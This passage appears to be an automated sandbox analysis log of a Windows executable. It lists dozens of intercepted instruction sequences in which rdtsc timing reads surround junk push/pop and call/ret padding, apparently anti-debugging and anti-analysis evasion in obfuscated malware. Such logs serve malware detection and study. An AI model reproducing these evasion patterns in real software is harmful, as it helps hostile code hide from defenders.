Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9EB1 second address: 12B9ECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD1878A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9ECB second address: 12B9EE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB2DCBE2A34h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9EE4 second address: 12B9F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FB2DD187898h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122DBA6Ch] 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b pop edi 0x0000002c jg 00007FB2DD1878A2h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FB2DD187898h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e jmp 00007FB2DD1878A9h 0x00000053 xchg eax, ebx 0x00000054 pushad 0x00000055 pushad 0x00000056 jne 00007FB2DD187896h 0x0000005c pushad 0x0000005d popad 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 push esi 0x00000062 pop esi 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9F7D second address: 12B9F92 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jns 00007FB2DCBE2A28h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BA844 second address: 12BA848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BA848 second address: 12BA84C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BA84C second address: 12BA85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BA85F second address: 12BA863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC2C3 second address: 12BC2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC2C8 second address: 12BC2CD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC88E second address: 12BC894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC894 second address: 12BC898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC898 second address: 12BC916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FB2DD187898h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007FB2DD187898h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 0000001Dh 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 xor ebx, dword ptr [ebp+122D2A90h] 0x00000047 push 00000000h 0x00000049 xor edi, 63524FE8h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FB2DD1878A6h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC916 second address: 12BC92D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DCBE2A33h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCA73 second address: 12BCA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCA7D second address: 12BCA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE773 second address: 12BE777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDA13 second address: 12BDAB0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB2DCBE2A2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D2AE8h] 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FB2DCBE2A28h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov bx, C038h 0x00000036 pushad 0x00000037 jp 00007FB2DCBE2A28h 0x0000003d stc 0x0000003e popad 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 push 00000000h 0x00000048 push eax 0x00000049 call 00007FB2DCBE2A28h 0x0000004e pop eax 0x0000004f mov dword ptr [esp+04h], eax 0x00000053 add dword ptr [esp+04h], 00000019h 0x0000005b inc eax 0x0000005c push eax 0x0000005d ret 0x0000005e pop eax 0x0000005f ret 0x00000060 push ebx 0x00000061 mov bh, B5h 0x00000063 pop ebx 0x00000064 mov eax, dword ptr [ebp+122D010Dh] 0x0000006a xor dword ptr [ebp+122D1C8Eh], edi 0x00000070 push FFFFFFFFh 0x00000072 mov ebx, dword ptr [ebp+12448CE7h] 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b jno 00007FB2DCBE2A2Ch 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCA83 second address: 12BCB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007FB2DD187898h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 mov edi, ecx 0x00000023 push dword ptr fs:[00000000h] 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007FB2DD187898h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 mov ebx, 716C1FB7h 0x00000049 push ebx 0x0000004a stc 0x0000004b pop ebx 0x0000004c mov dword ptr fs:[00000000h], esp 0x00000053 add dword ptr [ebp+12448D60h], edx 0x00000059 mov eax, dword ptr [ebp+122D09D9h] 0x0000005f adc di, 5F89h 0x00000064 push FFFFFFFFh 0x00000066 jmp 00007FB2DD1878A7h 0x0000006b nop 0x0000006c pushad 0x0000006d jmp 00007FB2DD1878A2h 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF718 second address: 12BF71C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE8BB second address: 12BE8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C06D5 second address: 12C06D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C06D9 second address: 12C06DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C06DF second address: 12C06E9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB2DCBE2A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C16AE second address: 12C16F1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 add edi, dword ptr [ebp+122DBA80h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FB2DD187898h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c sub dword ptr [ebp+122DBA73h], eax 0x00000032 xchg eax, esi 0x00000033 push ebx 0x00000034 push eax 0x00000035 push ebx 0x00000036 pop ebx 0x00000037 pop eax 0x00000038 pop ebx 0x00000039 push eax 0x0000003a push ebx 0x0000003b pushad 0x0000003c push eax 0x0000003d pop eax 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C268B second address: 12C26A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB2DCBE2A2Fh 0x00000009 popad 0x0000000a js 00007FB2DCBE2A2Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C17FA second address: 12C17FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2911 second address: 12C2917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C17FE second address: 12C180C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FB2DD187896h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C35E6 second address: 12C35FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C55C7 second address: 12C5615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 jc 00007FB2DD18789Ch 0x0000000d or dword ptr [ebp+12448DA4h], edi 0x00000013 push 00000000h 0x00000015 js 00007FB2DD187896h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FB2DD187898h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 push edi 0x00000038 mov edi, 164D4444h 0x0000003d pop ebx 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 push edi 0x00000042 push edx 0x00000043 pop edx 0x00000044 pop edi 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5615 second address: 12C561A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C561A second address: 12C5628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7AC2 second address: 12C7AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7AC7 second address: 12C7ACC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7ACC second address: 12C7B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB2DCBE2A37h 0x0000000f nop 0x00000010 jne 00007FB2DCBE2A2Ch 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122DBA49h], ebx 0x0000001e push 00000000h 0x00000020 mov ebx, dword ptr [ebp+122D2CA4h] 0x00000026 push eax 0x00000027 push esi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7B10 second address: 12C7B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9BF6 second address: 12C9BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9BFC second address: 12C9C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C57FF second address: 12C5822 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB2DCBE2A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB2DCBE2A34h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5822 second address: 12C5838 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD1878A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBDD0 second address: 12CBDDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CCF91 second address: 12CCF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CCF95 second address: 12CCF9F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB2DCBE2A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CCF9F second address: 12CCFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB2DD1878A9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF513 second address: 12CF518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D59BA second address: 12D59BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5D72 second address: 12D5D84 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB2DCBE2A26h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D93EF second address: 12D93F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D93F3 second address: 12D93F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D93F7 second address: 12D9403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9403 second address: 12D9407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9407 second address: 12D9450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD1878A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FB2DD1878A7h 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jnp 00007FB2DD18789Eh 0x0000001a jc 00007FB2DD187898h 0x00000020 mov eax, dword ptr [eax] 0x00000022 push esi 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E0278 second address: 12E027D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DEF21 second address: 12DEF39 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jl 00007FB2DD1878B0h 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop esi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF4E6 second address: 12DF53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB2DCBE2A36h 0x00000009 jmp 00007FB2DCBE2A32h 0x0000000e popad 0x0000000f pushad 0x00000010 je 00007FB2DCBE2A26h 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007FB2DCBE2A36h 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 pop edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 pop edi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF53B second address: 12DF562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007FB2DD187896h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007FB2DD1878A1h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF680 second address: 12DF690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FB2DCBE2A26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF690 second address: 12DF6A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Ah 0x00000007 jmp 00007FB2DD18789Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF802 second address: 12DF80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF990 second address: 12DF994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF994 second address: 12DF99A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF99A second address: 12DF9B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB2DD1878A2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF9B6 second address: 12DF9C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF9C3 second address: 12DF9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB2DD1878A7h 0x00000009 jg 00007FB2DD187896h 0x0000000f popad 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF9ED second address: 12DF9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF9F1 second address: 12DFA00 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB2DD187896h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFBAD second address: 12DFBB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFBB1 second address: 12DFBB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E49E2 second address: 12E49FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DCBE2A32h 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E49FA second address: 12E4A16 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB2DD187896h 0x00000008 jo 00007FB2DD187896h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007FB2DD187896h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4A16 second address: 12E4A1F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4A1F second address: 12E4A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4A25 second address: 12E4A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4B84 second address: 12E4B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4B8A second address: 12E4B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4B8E second address: 12E4B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4B92 second address: 12E4BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB2DCBE2A2Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4BAD second address: 12E4BCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB2DD1878A1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jo 00007FB2DD187896h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
